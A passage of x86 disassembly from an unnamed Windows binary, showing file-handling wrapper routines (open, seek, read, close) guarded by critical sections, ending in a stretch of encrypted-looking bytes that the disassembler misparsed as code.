jmp loc_5001B8 ; --------------------------------------------------------------------------- loc_500119: ; CODE XREF: sub_4FFFBF+13Dj ; sub_4FFFBF+153j push 0 push 0 push [ebp+arg_C] push [ebp+arg_0] call sub_500421 and [ebp+var_34], 0 loc_50012C: ; CODE XREF: sub_4FFFBF+1B4j mov eax, [ebp+var_34] cmp eax, [ebp+arg_10] jnb short loc_500175 and [ebp+var_40], 0 lea eax, [ebp+var_3C] push eax push 0 lea eax, [ebp+var_40] push eax mov eax, [ebp+arg_10] sub eax, [ebp+var_34] push eax mov eax, [ebp+var_20] add eax, [ebp+var_34] push eax push [ebp+arg_0] call sub_501177 test eax, eax jz short loc_500168 cmp [ebp+var_3C], 0 jz short loc_500168 cmp [ebp+var_40], 0 jnz short loc_50016A loc_500168: ; CODE XREF: sub_4FFFBF+19Bj ; sub_4FFFBF+1A1j jmp short loc_5001B8 ; --------------------------------------------------------------------------- loc_50016A: ; CODE XREF: sub_4FFFBF+1A7j mov eax, [ebp+var_34] add eax, [ebp+var_40] mov [ebp+var_34], eax jmp short loc_50012C ; --------------------------------------------------------------------------- loc_500175: ; CODE XREF: sub_4FFFBF+173j cmp [ebp+var_1C], 4 jz short loc_500194 lea eax, [ebp+var_44] push eax push [ebp+var_1C] push [ebp+arg_10] push [ebp+var_20] call ds:dword_5117AC ; VirtualProtect test eax, eax jnz short loc_500194 jmp short loc_5001B8 ; --------------------------------------------------------------------------- loc_500194: ; CODE XREF: sub_4FFFBF+1BAj ; sub_4FFFBF+1D1j push [ebp+var_2C] push [ebp+var_20] mov ecx, ds:dword_5118E0 call sub_4FC000 mov eax, [ebp+arg_14] mov ecx, [ebp+var_20] mov [eax], ecx and [ebp+var_20], 0 mov [ebp+var_24], 1 loc_5001B8: ; CODE XREF: sub_4FFFBF+C2j ; sub_4FFFBF+EFj ... push 0FFFFFFFFh mov [ebp+var_5C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_5C] jmp short loc_500205 ; --------------------------------------------------------------------------- loc_5001D1: ; DATA XREF: _6:0050E350o mov eax, ds:dword_5118E4 mov [ebp+var_50], eax cmp [ebp+var_50], 0 jz short loc_5001EC mov eax, [ebp+var_50] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection loc_5001EC: ; CODE XREF: sub_4FFFBF+21Ej cmp [ebp+var_20], 0 jz short locret_500202 push 8000h push 0 push [ebp+var_20] call ds:dword_5117A8 ; VirtualFree locret_500202: ; CODE XREF: sub_4FFFBF+231j retn ; --------------------------------------------------------------------------- loc_500203: ; CODE XREF: sub_4FFFBF+65j xor eax, eax loc_500205: ; CODE XREF: sub_4FFFBF+9Aj ; sub_4FFFBF+210j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_4FFFBF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500216 proc near ; CODE XREF: sub_50B4A4+11p ; sub_50B4E0+11p var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00500333 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E358 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov eax, [ebp+arg_4] and dword ptr [eax], 0 mov eax, ds:dword_5118E4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_500262 mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_500266 ; --------------------------------------------------------------------------- loc_500262: ; CODE XREF: sub_500216+37j and [ebp+var_2C], 0 loc_500266: ; CODE XREF: sub_500216+4Aj movzx eax, [ebp+var_2C] test eax, eax jz loc_500333 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_50030C push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_1C] mov eax, [eax] mov eax, [eax+0Ch] push dword ptr [eax+0Ch] call ds:dword_5116A8 ; CreateFileA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jz short loc_5002F3 push 10h call sub_50835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax mov esi, [ebp+var_1C] mov edi, [ebp+var_20] movsd movsd movsd movsd mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] mov ecx, [ecx] mov [eax+8], ecx push [ebp+var_20] mov eax, [ebp+arg_4] push dword ptr [eax] mov ecx, ds:dword_5118E4 call sub_50B98E loc_5002F3: ; CODE XREF: sub_500216+A2j push 0FFFFFFFFh mov [ebp+var_34], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_34] jmp short loc_500335 ; --------------------------------------------------------------------------- loc_50030C: ; CODE XREF: sub_500216+75j or [ebp+var_4], 0FFFFFFFFh call sub_500317 jmp short loc_500333 sub_500216 endp ; =============== S U B R O U T I N E ======================================= sub_500317 proc near ; CODE XREF: sub_500216+FAp ; DATA XREF: _6:0050E360o mov eax, ds:dword_5118E4 mov [ebp-30h], eax cmp dword ptr [ebp-30h], 0 jz short locret_500332 mov eax, [ebp-30h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_500332: ; CODE XREF: sub_500317+Cj retn sub_500317 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_500216 loc_500333: ; CODE XREF: sub_500216+56j ; sub_500216+FFj xor eax, eax loc_500335: ; CODE XREF: sub_500216+F4j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_500216 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500346 proc near ; CODE XREF: sub_4FC3F3+17p ; sub_4FF036+39p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_50153F test eax, eax jz loc_50041B movzx eax, [ebp+var_C] test eax, eax jnz loc_50041B mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_8], eax push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_4] mov eax, [eax+0Ch] push dword ptr [eax+0Ch] call ds:dword_5116A8 ; CreateFileA mov ecx, [ebp+arg_C] mov [ecx], eax mov eax, [ebp+arg_C] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_500416 push 0 push 0 mov eax, [ebp+var_8] push dword ptr [eax+4] mov eax, [ebp+arg_C] push dword ptr [eax] call ds:dword_511788 ; SetFilePointer push 10h call sub_50835A pop ecx mov [ebp+var_14], eax mov eax, [ebp+var_14] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov ecx, [ebp+var_4] mov [eax], ecx mov eax, [ebp+var_10] mov ecx, [ebp+arg_C] mov ecx, [ecx] mov [eax+8], ecx mov eax, [ebp+var_10] and dword ptr [eax+4], 0 movzx eax, [ebp+arg_10] neg eax sbb eax, eax and eax, 0C0000000h add eax, 40000000h mov ecx, [ebp+var_10] mov [ecx+0Ch], eax push [ebp+var_10] mov eax, [ebp+arg_C] push dword ptr [eax] mov ecx, ds:dword_5118E4 call sub_4FC000 loc_500416: ; CODE XREF: sub_500346+63j push 1 pop eax jmp short locret_50041D ; --------------------------------------------------------------------------- loc_50041B: ; CODE XREF: sub_500346+20j ; sub_500346+2Cj xor eax, eax locret_50041D: ; CODE XREF: sub_500346+D3j leave retn 14h sub_500346 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500421 proc near ; CODE XREF: sub_4FFFBF+164p ; sub_505BD7+11Dp ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 0050065F SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E368 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi cmp [ebp+arg_C], 0 jnz short loc_500452 lea eax, [ebp+var_1C] mov [ebp+arg_C], eax loc_500452: ; CODE XREF: sub_500421+29j mov eax, ds:dword_5118E4 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_500473 mov eax, [ebp+var_2C] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_30], 1 jmp short loc_500477 ; --------------------------------------------------------------------------- loc_500473: ; CODE XREF: sub_500421+3Dj and [ebp+var_30], 0 loc_500477: ; CODE XREF: sub_500421+50j movzx eax, [ebp+var_30] test eax, eax jz loc_50065F and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_500638 mov eax, [ebp+var_24] mov eax, [eax] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+var_24] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz short loc_5004EB push [ebp+arg_8] push 0 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_511788 ; SetFilePointer mov ecx, [ebp+arg_C] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_38], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_500661 ; --------------------------------------------------------------------------- loc_5004EB: ; CODE XREF: sub_500421+96j mov eax, [ebp+var_24] mov eax, [eax+4] mov [ebp+var_28], eax cmp [ebp+arg_8], 0 jnz short loc_50054D mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] cmp ecx, [eax+8] jle short loc_50051E mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_500548 ; --------------------------------------------------------------------------- loc_50051E: ; CODE XREF: sub_500421+E2j cmp [ebp+arg_4], 0 jge short loc_500537 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_51178C ; RtlRestoreLastWin32Error jmp short loc_500548 ; --------------------------------------------------------------------------- loc_500537: ; CODE XREF: sub_500421+101j mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx loc_500548: ; CODE XREF: sub_500421+FBj ; sub_500421+114j jmp loc_50061F ; --------------------------------------------------------------------------- loc_50054D: ; CODE XREF: sub_500421+D7j cmp [ebp+arg_8], 2 jnz short loc_5005AE cmp [ebp+arg_4], 0 jle short loc_500572 mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_5005AC ; --------------------------------------------------------------------------- loc_500572: ; CODE XREF: sub_500421+136j mov eax, [ebp+var_20] mov eax, [eax+8] neg eax cmp [ebp+arg_4], eax jge short loc_500592 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_51178C ; RtlRestoreLastWin32Error jmp short loc_5005AC ; --------------------------------------------------------------------------- loc_500592: ; CODE XREF: sub_500421+15Cj mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] add ecx, [eax+8] mov eax, [ebp+var_24] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx loc_5005AC: ; CODE XREF: sub_500421+14Fj ; sub_500421+16Fj jmp short loc_50061F ; --------------------------------------------------------------------------- loc_5005AE: ; CODE XREF: sub_500421+130j cmp [ebp+arg_8], 1 jnz short loc_500611 mov eax, [ebp+arg_4] add eax, [ebp+var_28] mov ecx, [ebp+var_20] cmp eax, [ecx+8] jle short loc_5005DB mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_50060F ; --------------------------------------------------------------------------- loc_5005DB: ; CODE XREF: sub_500421+19Fj mov eax, [ebp+var_28] add eax, [ebp+arg_4] test eax, eax jge short loc_5005F8 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_51178C ; RtlRestoreLastWin32Error jmp short loc_50060F ; --------------------------------------------------------------------------- loc_5005F8: ; CODE XREF: sub_500421+1C2j mov eax, [ebp+arg_4] add eax, [ebp+var_28] mov ecx, [ebp+var_24] mov [ecx+4], eax mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx loc_50060F: ; CODE XREF: sub_500421+1B8j ; sub_500421+1D5j jmp short loc_50061F ; --------------------------------------------------------------------------- loc_500611: ; CODE XREF: sub_500421+191j mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 57h call ds:dword_51178C ; RtlRestoreLastWin32Error loc_50061F: ; CODE XREF: sub_500421:loc_500548j ; sub_500421:loc_5005ACj ... push 0FFFFFFFFh mov [ebp+var_3C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_500661 ; --------------------------------------------------------------------------- loc_500638: ; CODE XREF: sub_500421+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_500643 jmp short loc_50065F sub_500421 endp ; =============== S U B R O U T I N E ======================================= sub_500643 proc near ; CODE XREF: sub_500421+21Bp ; DATA XREF: _6:0050E370o mov eax, ds:dword_5118E4 mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short locret_50065E mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_50065E: ; CODE XREF: sub_500643+Cj retn sub_500643 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_500421 loc_50065F: ; CODE XREF: sub_500421+5Cj ; sub_500421+220j xor eax, eax loc_500661: ; CODE XREF: sub_500421+C5j ; sub_500421+215j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 10h ; END OF FUNCTION CHUNK FOR sub_500421 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500672 proc near ; CODE XREF: sub_501CC4+80p ; sub_505456+58p ... var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0050072E SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E378 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_5118E4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_5006B8 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_5006BC ; --------------------------------------------------------------------------- loc_5006B8: ; CODE XREF: sub_500672+31j and [ebp+var_24], 0 loc_5006BC: ; CODE XREF: sub_500672+44j movzx eax, [ebp+var_24] test eax, eax jz short loc_50072E and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_500707 mov eax, [ebp+var_1C] mov eax, [eax] mov eax, [eax] mov ecx, [ebp+arg_4] mov eax, [eax+8] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_500730 ; --------------------------------------------------------------------------- loc_500707: ; CODE XREF: sub_500672+6Bj or [ebp+var_4], 0FFFFFFFFh call sub_500712 jmp short loc_50072E sub_500672 endp ; =============== S U B R O U T I N E ======================================= sub_500712 proc near ; CODE XREF: sub_500672+99p ; DATA XREF: _6:0050E380o mov eax, ds:dword_5118E4 mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_50072D mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_50072D: ; CODE XREF: sub_500712+Cj retn sub_500712 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_500672 loc_50072E: ; CODE XREF: sub_500672+50j ; sub_500672+9Ej xor eax, eax loc_500730: ; CODE XREF: sub_500672+93j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_500672 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500741 proc near ; CODE XREF: sub_4FC3F3+58p ; sub_4FF12B+22p ... var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E388 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi cmp [ebp+arg_4], 0 jnz short loc_500772 lea eax, [ebp+var_1C] mov [ebp+arg_4], eax loc_500772: ; CODE XREF: sub_500741+29j mov eax, ds:dword_5118E4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_500793 mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_500797 ; --------------------------------------------------------------------------- loc_500793: ; CODE XREF: sub_500741+3Dj and [ebp+var_2C], 0 loc_500797: ; CODE XREF: sub_500741+50j movzx eax, [ebp+var_2C] test eax, eax jz loc_500845 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_500809 mov eax, [ebp+var_20] push dword ptr [eax+8] call ds:dword_5116A4 ; CloseHandle push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B8E0 mov eax, [ebp+var_20] mov [ebp+var_24], eax push [ebp+var_24] call sub_5083DD pop ecx mov eax, [ebp+arg_4] mov dword ptr [eax], 1 push 0FFFFFFFFh mov [ebp+var_34], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_34] jmp short loc_500847 ; --------------------------------------------------------------------------- loc_500809: ; CODE XREF: sub_500741+7Bj push [ebp+arg_4] push [ebp+arg_0] call sub_4FF818 push 0FFFFFFFFh mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp short loc_500847 ; --------------------------------------------------------------------------- loc_500829: ; DATA XREF: _6:0050E390o mov eax, ds:dword_5118E4 mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz short locret_500844 mov eax, [ebp+var_30] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_500844: ; CODE XREF: sub_500741+F4j retn ; --------------------------------------------------------------------------- loc_500845: ; CODE XREF: sub_500741+5Cj xor eax, eax loc_500847: ; CODE XREF: sub_500741+C6j ; sub_500741+E6j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_500741 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500858 proc near ; CODE XREF: sub_50A710+12p var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0050093D SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E398 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi cmp [ebp+arg_8], 0 jnz short loc_500889 lea eax, [ebp+var_1C] mov [ebp+arg_8], eax loc_500889: ; CODE XREF: sub_500858+29j mov eax, ds:dword_5118E4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_5008AA mov eax, [ebp+var_24] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_28], 1 jmp short loc_5008AE ; --------------------------------------------------------------------------- loc_5008AA: ; CODE XREF: sub_500858+3Dj and [ebp+var_28], 0 loc_5008AE: ; CODE XREF: sub_500858+50j movzx eax, [ebp+var_28] test eax, eax jz loc_50093D and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_500916 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_5116FC ; GetFileInformationByHandle mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_4] and dword ptr [eax+20h], 0 mov eax, [ebp+var_20] mov eax, [eax] mov eax, [eax] mov ecx, [ebp+arg_4] mov eax, [eax+8] mov [ecx+24h], eax push 0FFFFFFFFh mov [ebp+var_30], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_50093F ; --------------------------------------------------------------------------- loc_500916: ; CODE XREF: sub_500858+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_500921 jmp short loc_50093D sub_500858 endp ; =============== S U B R O U T I N E ======================================= sub_500921 proc near ; CODE XREF: sub_500858+C2p ; DATA XREF: _6:0050E3A0o mov eax, ds:dword_5118E4 mov [ebp-2Ch], eax cmp dword ptr [ebp-2Ch], 0 jz short locret_50093C mov eax, [ebp-2Ch] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_50093C: ; CODE XREF: sub_500921+Cj retn sub_500921 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_500858 loc_50093D: ; CODE XREF: sub_500858+5Cj ; sub_500858+C7j xor eax, eax loc_50093F: ; CODE XREF: sub_500858+BCj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_500858 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_500950 proc near ; CODE XREF: sub_50A741+Bp ; sub_50A77D+Bp var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 005009FD SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E3A8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_5118E4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_500996 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_50099A ; --------------------------------------------------------------------------- loc_500996: ; CODE XREF: sub_500950+31j and [ebp+var_24], 0 loc_50099A: ; CODE XREF: sub_500950+44j movzx eax, [ebp+var_24] test eax, eax jz short loc_5009FD and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_5009D6 push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_5009FF ; --------------------------------------------------------------------------- loc_5009D6: ; CODE XREF: sub_500950+6Bj or [ebp+var_4], 0FFFFFFFFh call sub_5009E1 jmp short loc_5009FD sub_500950 endp ; =============== S U B R O U T I N E ======================================= sub_5009E1 proc near ; CODE XREF: sub_500950+8Ap ; DATA XREF: _6:0050E3B0o mov eax, ds:dword_5118E4 mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_5009FC mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection locret_5009FC: ; CODE XREF: sub_5009E1+Cj retn sub_5009E1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_500950 loc_5009FD: ; CODE XREF: sub_500950+50j ; sub_500950+8Fj xor eax, eax loc_5009FF: ; CODE XREF: sub_500950+84j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_500950 ; --------------------------------------------------------------------------- loc_500A10: ; CODE XREF: sub_500C5C+2F1p ; sub_501177+1CFp push ebp mov ebp, esp sub esp, 0ECh push ebx push esi push edi mov eax, [ebp+0Ch] mov [ebp-0Ch], eax mov eax, [ebp+10h] mov [ebp-10h], eax mov eax, ds:dword_5118F8 mov [ebp-4], eax mov eax, [ebp+8] mov eax, [eax] mov eax, [eax] mov [ebp-8], eax mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 30h jnz loc_500AD8 mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 2 test eax, eax jnz short loc_500AD8 mov eax, [ebp-8] mov ecx, [ebp+0Ch] sub ecx, [eax+4] mov [ebp-14h], ecx mov eax, [ebp-14h] xor edx, edx push 8 pop ecx div ecx mov [ebp-18h], edx cmp dword ptr [ebp-18h], 0 jz short loc_500A93 mov eax, [ebp+0Ch] sub eax, [ebp-18h] mov [ebp-0Ch], eax mov eax, [ebp-10h] add eax, [ebp-18h] mov [ebp-10h], eax mov eax, [ebp-4] add eax, [ebp-18h] mov [ebp-4], eax loc_500A93: ; CODE XREF: _5:00500A76j mov eax, [ebp-10h] xor edx, edx push 8 pop ecx div ecx test edx, edx jz short loc_500AB8 mov eax, [ebp-10h] xor edx, edx push 8 pop ecx div ecx push 8 pop eax sub eax, edx mov ecx, [ebp-10h] add ecx, eax mov [ebp-10h], ecx loc_500AB8: ; CODE XREF: _5:00500A9Fj mov eax, [ebp+8] mov ecx, [ebp-10h] add ecx, [eax+4] mov eax, [ebp-8] cmp ecx, [eax+8] jbe short loc_500AD8 mov eax, [ebp-8] mov ecx, [ebp+8] mov eax, [eax+8] sub eax, [ecx+4] mov [ebp-10h], eax loc_500AD8: ; CODE XREF: _5:00500A46j _5:00500A57j ... push 0 push 0 push dword ptr [ebp-0Ch] mov eax, [ebp+8] push dword ptr [eax+8] call ds:dword_511788 ; SetFilePointer cmp eax, [ebp-0Ch] jz short loc_500AF7 xor eax, eax jmp loc_500C55 ; --------------------------------------------------------------------------- loc_500AF7: ; CODE XREF: _5:00500AEEj push 0 push dword ptr [ebp+14h] push dword ptr [ebp-10h] push ds:dword_5118F8 mov eax, [ebp+8] push dword ptr [eax+8] call ds:dword_51177C ; ReadFile test eax, eax jnz short loc_500B1C xor eax, eax jmp loc_500C55 ; --------------------------------------------------------------------------- loc_500B1C: ; CODE XREF: _5:00500B13j mov eax, [ebp+14h] mov eax, [eax] cmp eax, [ebp-10h] jz short loc_500B2D xor eax, eax jmp loc_500C55 ; --------------------------------------------------------------------------- loc_500B2D: ; CODE XREF: _5:00500B24j mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz loc_500C3C mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 10h jnz short loc_500BA9 push offset dword_460000 call near ptr loc_4FDB7D+1 ; CODE XREF: _5:00500B5Bj sub eax, 7424E45Ah db 3Eh jle short near ptr loc_500B51+3 cmpsb push edi fisttp dword ptr [edx+esi*4+61h] clc lds ebp, [ecx-26h] db 2Eh ; CODE XREF: _5:loc_500B99j icebp and eax, 7EFC9E45h dec edi jmp short loc_500B99 ; --------------------------------------------------------------------------- dw 4521h dd 72A5F15Eh, 0DB928426h, 0E0C5324Fh, 57F284DAh, 0C220AB13h dd 6D61055Fh, 0A31D6C36h, 90A16E44h, 0E2FDF0E3h ; --------------------------------------------------------------------------- cmc loc_500B99: ; CODE XREF: _5:00500B70j jmp short near ptr loc_500B68+1 ; --------------------------------------------------------------------------- db 0C1h db 2 dup(90h) dw 0C033h dd 0EE75C085h, 93E9h db 0 ; --------------------------------------------------------------------------- loc_500BA9: ; CODE XREF: _5:00500B4Aj mov eax, [ebp-8] mov eax, 